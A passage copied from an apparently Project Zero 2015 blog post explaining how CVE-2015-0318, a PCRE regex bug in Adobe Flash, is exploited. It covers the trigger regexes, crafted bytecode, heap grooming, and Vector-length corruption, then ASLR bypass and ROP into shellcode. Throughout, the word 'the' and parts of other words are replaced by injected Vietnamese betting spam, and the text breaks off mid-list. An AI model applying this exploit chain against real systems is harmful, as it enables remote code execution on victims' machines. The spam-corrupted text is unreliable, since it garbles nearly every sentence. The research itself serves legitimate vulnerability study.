Thursday, February 12, 2015

(^Exploiting)\s*(CVE-2015-0318)\s*(in)\s*(Flash$)

Posted by Mark Brand, Irregular Expressionist

So; issue 199/PSIRT-3161/CVE-2015-0318. Quick summary - it’s a bug in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PCRE regex engine as used in Flash. (Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 published version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 avmplus code is significantly out of date; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are a number of ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r vulnerabilities present that have already been fixed by Adobe; so auditing it can be a little frustrating!).

Spoiler: it’s exploitable. Grab cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues page and read along.

So, for a little bit of background - PCRE is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regular expression library used in Flash to back cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir implementation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RegExp object. PCRE is a complex library, that supports several different operating modes, including a JIT. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mode that is used by Flash is one in which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex string is parsed and compiled to an internal bytecode (‘PCRE bytecode’) that is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n interpreted in order to match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex; so for vulnerabilities in Flash we are mainly interested in vulnerabilities eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex parsing, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytecode compilation or during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interpretation. This particular vulnerability results from an issue in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytecode compilation; and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 root cause of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue can be found in this code, starting at line 743:

   /* For \c, a following letter is upper-cased; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 0x40 bit is flipped.
   This coding is ASCII-specific, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole concept of \cx is
   ASCII-specific. (However, an EBCDIC equivalent has now been added.) */

   case 'c':     <---- There’s no check to see if we’re in UTF8 mode
   c = *(++ptr); <---- This could be part of a multibyte unicode character
   if (c == 0)
     {
     *errorcodeptr = ERR2;
     break;
     }

#ifndef EBCDIC  /* ASCII coding */
   if (c >= 'a' && c <= 'z') c -= 32;
   c ^= 0x40;
#else           /* EBCDIC coding */
   if (c >= 'a' && c <= 'z') c += 64;
   c ^= 0xC0;
#endif
   break;


Below is what happens when we compile a regex that combines cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 \c escape sequence (which is intended to match a single ASCII character) with a multibyte UTF-8 character. A simple trigger for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug is ‘\\c\xd0\x80+’, below.

\cЀ+

This will compile to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following bytecode:

0000 5d0009      93 BRA              [9]
0003 1bc290      27 CHAR             ['\xc2\x90']
0006 201b        32 PLUS             ['\x1b']
0008 80         128 INVALID
0009 540009      84 KET              [9]
000c 00           0 END   

So clearly something has gone wrong… The question is now how to leverage this invalid bytecode to get code execution. Unfortunately, if we simply execute cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 expression, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 behaviour on encountering an invalid opcode is simply to terminate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 match as a failure; not a very exciting possibility.

There are however a number of ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r functions in pcre_compile.cpp that give us some additional options; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one that I chose to use was find_brackets, as this iterates through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current bytecode, has a permissive default case, and is used to locate (and patch in an offset to) a numbered group; so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possibility to perhaps cause some interesting memory corruption or get execution of PCRE bytecode somewhere ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 legitimate bytecode.

This turns out to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case; by adding a back-reference to our regular expression,

\cЀ+(?1)

we can hit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following line of code with ‘c’ set to our invalid opcode, 0x80:

/* Add in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fixed length from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 table */
code += _pcre_OP_lengths[c];

Now, _pcre_OP_lengths is a global array, and 0x80 indexes a little way past cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 array, conveniently this is (on Windows and Linux, at least) located in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash binary directly before an array of strings used for internationalisation. In every version of Flash I looked at, this will get us a length of 110 (which is significantly larger than any valid bytecode op length), so if we can groom cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap, we can hop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code pointer out of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocated bytecode buffer and into data we control. We cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n just need to arrange to have find_bracket locate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytecode pattern it’s hunting for in that buffer, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it will helpfully link our malicious bytecode into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex program, ready to be executed.

We run into a slight hiccup when we want to actually execute this regex; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytecode interpreter will exit when encountering an invalid opcode. However, we can get around this fairly easily by wrapping our broken bytecode in an optional group;

(\cЀ+)?(?2)

With an appropriate groom with buffers containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytecode for group 2, we get a successful compilation to:

LEGITIMATE HEAP BUFFER
0000 5d001b      93 BRA              [27]
0003 66         102 BRAZERO          
0004 5e000b0001  94 CBRA             [11, 1]
0009 1bc290      27 CHAR             ['\xc2\x90']
000c 201b        32 PLUS             ['\x1b']
000e 80         128 INVALID          
000f 54000b      84 KET              [11]
0012 5c0006      92 ONCE             [6]
0015 510083      81 RECURSE          [131]    <---- this 131 is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytecode index to recurse to (131 == 0x83, at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of our groomed heap buffer)
0018 540006      84 KET              [6]
001b 54001b      84 KET              [27]
001e 00           0 END              
GROOMED HEAP BUFFER
0083 5e00880002  94 CBRA             [136, 2]
0088 540088      84 KET              [136]

When we execute this regex, things look good for us, since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 execution path we’ll take is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:

0000 5d001b      93 BRA              [27]
0003 66         102 BRAZERO          
0004 5e000b0001  94 CBRA             [11, 1]
0009 1bc290      27 CHAR             ['\xc2\x90']   <---- Fail, backtrack
0015 510083      81 RECURSE          [131]          
0083 5e00880002  94 CBRA             [136, 2]       <---- Now executing inside our groomed heap buffer
0088 540088      84 KET              [136]
0018 540006      84 KET              [6]
001b 54001b      84 KET              [27]
001e 00           0 END

So, at this point we can happily insert arbitrary regex bytecode in between our CBRA and KET in our groomed heap buffer.

The PCRE bytecode interpreter is surprisingly robust; and it took quite a while before I found a useful primitive for corrupting memory from this point. The majority of memory accesses from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interpreter are validated; if not perfectly (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are a lot of opportunities for out-of-bounds reads, or similar, but at this point we really need a write primitive) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n sufficiently to prevent an out-of-bounds write that we can leverage furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r.

There is, however, an interesting piece of code; in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handling for CBRA, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a bad assumption made about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 group number (second parameter of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 opcode). Code snippet below (from pcre_exec.cpp, beautified and some debug code removed).

case OP_CBRA:
case OP_SCBRA:
   number = GET2(ecode, 1 + LINK_SIZE); <---- we control number
   offset = number << 1;                <---- we control offset

   if (offset < md->offset_max)         <---- bounds check that offset within offset_vector
   {
       save_offset3       = md->offset_vector[md->offset_end - number]; <---- we control number, so if number is 0, we index at md->offset_end, which is one past cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 array

       save_capture_last  = md->capture_last;

       if (ES3_Compatible_Behavior)   // clear all matches for groups > than this one
       {                              //  (we only really need to reset all enclosed groups, but
                                      //  covering all groups > this is harmless because
                                      //  we interpret from left to right)

           savedElems = (offset_top > offset ? offset_top - offset : 2);

           if (savedElems > frame->XoffsetStackSaveMax)
           {
               if (frame->XoffsetStackSave != frame->XoffsetStackSaveStg)
               {
                   (pcre_free)(frame->XoffsetStackSave);
               }

               frame->XoffsetStackSave = (int *)(pcre_malloc)(savedElems * sizeof(int));

               if (frame->XoffsetStackSave == NULL)
               {
                   RRETURN(PCRE_ERROR_NOMEMORY);
               }

               frame->XoffsetStackSaveMax = savedElems;
           }

           VMPI_memcpy(offsetStackSave, md->offset_vector + offset, (savedElems * sizeof(int)));

           for (int resetOffset = offset + 2; resetOffset < offset_top; resetOffset++)
           {
               md->offset_vector[resetOffset] = -1;
           }
       }
       else
       {
           offsetStackSave[1] = md->offset_vector[offset];
           offsetStackSave[2] = md->offset_vector[offset + 1];
           savedElems         = 0;
       }

       md->offset_vector[md->offset_end - number] = eptr - md->start_subject;  <---- even better, we write cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re; this is becoming interesting.


So, we can write some data we control one dword past cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of offset_vector. As it happens, normally offset_vector is a stack buffer allocated in RegExpObject.cpp.

ArrayObject* RegExpObject::_exec(Stringp subject,
                               StIndexableUTF8String& utf8Subject,
                               int startIndex,
                               int& matchIndex,
                               int& matchLen)
{
   AvmAssert(subject != NULL);

   int ovector[OVECTOR_SIZE];
   int results;
   int subjectLength = utf8Subject.length();


This is of little interest though; it’s unlikely that our single dword write off cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of that buffer is going to achieve anything useful - I didn’t check, but modern compiler mitigations, such as variable reordering and stack cookies should prevent this path from being exploitable, and we have an easier option available to us. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case where we have more capturing groups in our regex than will fit in this buffer, PCRE will allocate a suitable buffer on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap when it executes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 expression.

/* If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 expression has got more back references than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 offsets supplied can
hold, we get a temporary chunk of working store to use during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 matching.
Ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise, we can use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vector supplied, rounding down its size to a multiple
of 3. */

ocount = offsetcount - (offsetcount % 3);

if (re->top_backref > 0 && re->top_backref >= ocount / 3)
{
   ocount = re->top_backref * 3 + 3;
   
   md->offset_vector = (int *)(pcre_malloc)(ocount * sizeof(int));
   if (md->offset_vector == NULL)
   {
       return PCRE_ERROR_NOMEMORY;
   }
   
   using_temporary_offsets = TRUE;
   DPRINTF(("Got memory to hold back references\n"));
}
else
{
   md->offset_vector = offsets;
}

md->offset_end = ocount;
md->offset_max = (2 * ocount) / 3;
md->offset_overflow = FALSE;
md->capture_last = -1;

Excellent, things are coming togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. We can now write a dword that we mostly control (it can’t really be very big) after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of a heap allocation, as long as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation is at least larger than 99 * 4 = 396. As we need to write directly after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation, looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash heap allocator tells us that 504 bytes is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first bucket size that we can match exactly; and we’ll need a md->top_backref == 41 to achieve this. This can simply be achieved by adding a some capturing groups and a back reference.

(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\cЀ+)?(?43)

Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r issue we’ll hit shortly is that Flash doesn’t validate whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex compiled successfully; if our first heap groom failed, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n find_bracket will not find a match for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 group, and compilation will fail. This is annoying when we’re trying to debug our exploit, so we can add a constant match string to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex that we can use to test whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex compiled successfully.

(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\cЀ+)?(?70))

As mentioned above; we’re going to need to have a heap groom to get our bytecode positioned directly after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer used to compile our regex into; to make things simple, we’ll pad our regex so that this buffer is a nice round number for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash heap allocator again; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next available bucket is 576 bytes, and each single character match adds 2 bytes.

(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\cЀ*)?(?70))

We need one more modification to make this useful; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value that we are overwriting with is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current match, so we need a way to easily control that. We can just change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first group to match an arbitrary number of a different character, and we’re good to go:

(c01db33f|(B*)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\cЀ*)?(?70))

NB: in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit code, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 B is replaced by one of a selection of characters - this is because Flash caches (successfully and unsuccessfully) compiled regexes, and if our groom fails we want to actually force a recompilation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 regex.

So, this gets us cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial regex that we’re going to compile as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first stage of our exploit. We’ve figured out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 payload bytecode that we need to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OOB write, which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:

0000 5e00010046  94 CBRA             [1, 70]
0005 5e00000000  94 CBRA             [0, 0]
000a 6d         109 ACCEPT

The accept is needed since to successfully reach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 write, we need for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 group with number 0 to be a match; accept will force this with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least messing around required.

Now, it’s entirely cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 write primitive we have would normally be quite annoying; in many situations this would barely be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of an exploit - while we control cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation that we’re writing past cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of it has to be pretty large, which rules out a lot of objects with vtables; and since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value we’re overwriting with is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of our current match, overwriting a pointer would be a mess anyway. Happily, in Flash, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a one-size-fits-all solution to all heap exploitation woes - Vector.. We can allocate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se objects in any size we like (more-or-less), and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first dword is a length field. Once we’ve corrupted that length, we are going to have no problem producing an arbitrary read/write primitive, and getting stable exploitation.

1 - Compile regex

First we allocate a large number of buffers of size 504 (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same as our compiled regex) and fill cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m with our exploit bytecode.
_______________________________________________________________________________________
|exploit-bytecode------------|exploit-bytecode------------|exploit-bytecode------------|
````````````````````````````````````````````````````````````````````````````````````````
We cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n free every second buffer, leaving a lot of nicely sized gaps that are too tempting for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash heap allocator to overlook.
_______________________________________________________________________________________
|exploit-bytecode------------|FREE                        |exploit-bytecode------------|
````````````````````````````````````````````````````````````````````````````````````````

So that when we try to compile our regular expression, we’re almost certainly going to end up just where we want to be, with a copy of our exploit bytecode directly after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocated buffer.
_______________________________________________________________________________________
|exploit-bytecode------------|ERCP|metadata|regex-bytecode|exploit-bytecode------------|
````````````````````````````````````````````````````````````````````````````````````````


2 - Execute regex to corrupt vector length

We’re actually going to be a bit more fancy here; since ideally we’d like to have a Vector. with length 0xffffffff so that we can read and write all of memory, we’ll actually make gaps followed by two Vector.’s. These allocations now need to be size 576, as that’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of our offset_vector.
_______________________________________________________________________________________
|length|vector---------------|length|vector---------------|length|vector---------------|
````````````````````````````````````````````````````````````````````````````````````````
Like so:
_______________________________________________________________________________________
|FREE                        |length|vector---------------|length|vector---------------|
````````````````````````````````````````````````````````````````````````````````````````
When our regex is executed, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 match will be written one dword past cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocated offset_vector, corrupting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length field of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first vector:
_______________________________________________________________________________________
|offset_vector---------------|corrupt|vector--------------|length|vector---------------|
````````````````````````````````````````````````````````````````````````````````````````

We only need to increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first vector by 1, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first vector to completely control cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second vector:
_______________________________________________________________________________________
|offset_vector---------------|length+1|vector--------------------|vector---------------|
````````````````````````````````````````````````````````````````````````````````````````
_______________________________________________________________________________________
|offset_vector---------------|length+1|vector---------------|UINT_MAX|vector-----------------------
````````````````````````````````````````````````````````````````````````````````````````

At this point, we have read-write access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire address space of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 running Flash process, and it’s pretty much game over; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only remaining major issue is that we don’t know exactly where our extra-large Vector. is based, so any memory accesses we do are relative to that buffer.

3 - Where is our corrupted Vector?

Conveniently, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PCRE code deterministically frees cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer that was allocated for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 oversized offset vector immediately before returning to actionscript. This means that we can look back behind our vector and grab a freelist pointer from inside that free block.

_______________________________________________________________________________________
|FREE   |ptr|                |length|vector-------------|UINT_MAX|vector---------------|
````````````````````````````````````````````````````````````````````````````````````````

This pointer will point to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next available block, which will most likely be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 block following our extra-large vector; we can sanity check this a little, but it’s not really necessary - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 block size is large, and this is a pretty safe bet. As we know cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 precise size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap allocations, we can use this to compute cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of our extra-large vector, and turn our relative read-write primitive into an absolute read-write.

_______________________________________________________________________________________________________
|FREE   |ptr|                |length|vector-------------|UINT_MAX|vector---------------|FREE|ptr|      
``````````|`````````````````````````````````````````````````````````````````````````````^``````````````
         |_____________________________________________________________________________|

4 - Formalities

The rest of this is really a 101 on exploiting a userland Windows arbitrary read/write; feel free to skip if you get bored...

4 (i) Finding a module

We’ve sort-of bypassed ASLR by locating our Vector object; but we don’t really know where everything is yet; ideally we need a pointer into a loaded module that we can use for code-reuse techniques. One way to get such a pointer would be to spray cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap some more with objects containing pointers, but we don’t need to do this today.

As it happens, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a nice structure at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of every page used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash FixedAlloc allocator that contains a pointer that eventually chains to a static instance of a C++ class; this is inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash module, so we can use this to locate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash module in memory. See cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit code…

Once we have a pointer inside a module, we can scan backwards from that pointer, checking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of each page for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 magic MZ header to locate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 module base. It’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n just a matter of parsing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PE file format to locate useful imports and byte sequences that we can use in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 final stage of our exploit.

4 (ii) Something to overwrite

Again, we’ve sort-of bypassed ASLR… If this was a linux exploit, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was no RELRO, we could just overwrite a function pointer in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GOT section like in Chris’ previous blog post; on Windows cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s not quite such a convenient technique. With some reverse engineering of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash binary, we’d probably find a global function pointer somewhere that we could overwrite, but it’s easier to arrange for something on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap.

If we create anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r ActionScript class, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n when we instantiate this class, this will be an allocation on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap, and it will contain a vtable pointer that’s used to resolve method invocations on that object. We can make a class with some readily signaturable bytes in it, and make it easy to find; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n by walking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap structures we can safely locate this class instance without risk of touching unmapped memory and crashing.

4 (iii) Getting control of execution

An interesting and useful feature of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Flash JIT is that if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 arguments to a method invocation can be determined to be simple native types, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y will actually be pushed onto cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 native stack (as in a normal, native function call). This means that by overwriting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function pointer for a function with a lot of uint parameters, we can control a large block of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 native stack when that function is called, letting us ROP directly on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 legitimate program stack.

All we need to do is make a call to VirtualProtect to mark cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page with our Vector in it as executable, and we can put our shellcode in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re and just jump to that buffer.

A slight trick is that by arranging for lots of stack space to be used by nonsense arguments; we can make enough stack space so that when VirtualProtect is called, it won’t damage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real Flash stack frames (which are both above and below our fake stack frames…).

4 (iv) Returning control of execution

So, we’ve successfully redirected execution - all that remains is to return control of execution to Flash, and tie up a few loose ends. Taking stock of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 damage that we’ve done to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process; if everything went well, we’ve only corrupted 3 dwords of process memory that are actually being used by Flash, so it should be fairly easy to clean up and continue execution:

  1. The length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first vector was increased by 1
  2. The length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second vector was increased to UINT_MAX
  3. The function pointer for our method

